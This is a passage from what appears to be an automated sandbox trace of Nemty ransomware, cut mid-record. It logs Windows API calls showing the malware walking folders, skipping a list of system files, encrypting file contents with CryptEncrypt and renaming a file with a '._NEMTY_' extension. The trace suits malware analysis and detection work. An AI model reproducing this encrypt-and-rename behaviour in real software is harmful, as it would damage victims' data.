(in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0210.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0210.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.582] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.582] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.582] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.592] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.629] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.629] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.629] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.639] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.639] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.639] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.648] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.648] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.649] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.658] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.658] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.658] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.668] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.668] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.668] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.680] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.680] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348ed8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0210.680] CloseHandle (hObject=0xffffffff) returned 0 [0210.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0210.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0210.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.680] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0210.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0210.680] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0210.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0210.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.680] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-b5pc"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-b5pc._nemty_kgobjgd_")) returned 0 [0210.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0210.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0210.680] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0210.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0210.681] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49113, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-ETen-B5", cAlternateFileName="UCS2-E~1")) returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2=".") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="..") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="...") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="windows") returned -1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="$RECYCLE.BIN") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="rsa") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="NTDETECT.COM") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="ntldr") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="MSDOS.SYS") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="IO.SYS") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="boot.ini") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="boot.ini") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="AUTOEXEC.BAT") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="ntuser.dat") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="desktop.ini") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="CONFIG.SYS") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="RECYCLER") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="BOOTSECT.BAK") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="bootmgr") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="programdata") returned 1 [0210.681] lstrcmpiW (lpString1="UCS2-ETen-B5", lpString2="appdata") returned 1 [0210.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-ETen-B5", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-ETen-B5", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-ETen-B5", lpUsedDefaultChar=0x0) returned 12 [0210.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-ETen-B5", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-ETen-B5", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-ETen-B5", lpUsedDefaultChar=0x0) returned 12 [0210.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.681] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.681] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.681] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-ETen-B5", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-ETen-B5", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-ETen-B5", lpUsedDefaultChar=0x0) returned 12 [0210.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-ETen-B5", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.682] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-ETen-B5", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-ETen-B5", lpUsedDefaultChar=0x0) returned 12 [0210.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0210.682] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0210.682] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0210.682] Sleep (dwMilliseconds=0x5) [0210.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31382e10, dwHighDateTime=0x1d561e8)) [0210.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31382e10, dwHighDateTime=0x1d561e8)) [0210.692] GetLastError () returned 0x5 [0210.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0210.692] GetLastError () returned 0x5 [0210.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0210.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.692] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0210.692] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0210.692] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0210.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0210.692] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="w4ptetbIQ2Obfqnbaz/b3z3s+OnwKSLGbB/YK0fuQjFp2+BDAO9t9zUYlNVJscea\r\n+MgsttKiQU3PqRwqde/7YJIsZdqxGTlR7bJjuwhZ3ajGcChAfVZ33unAlEe2Xq75\r\nRO25H7pwpkgFqolaCOldZgTLDTncqipM6Eww8Gue+POIgOno1XGUoe74V7LroQea\r\nnCtUnOvG5JeV1iFMrQ6U0bTeTK6s3jJXbkvu46LsXsU4uM8VBRmLkJCmmFkkJkM8\r\nVHcpyuCGFyisTkngaIvL+w8eK7TVfHt48M/Q6NG98moK6xSLmLZTxD+af1hQg+1Z\r\nk7kX3Af7Ix7cJG+H7+ftyg==\r\n", pcchString=0x653e91c) returned 1 [0210.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0210.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.692] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0210.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0210.692] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0210.692] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-ETen-B5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-eten-b5"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0210.693] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0210.693] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0210.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.712] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.712] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.712] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.721] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.721] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.731] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, 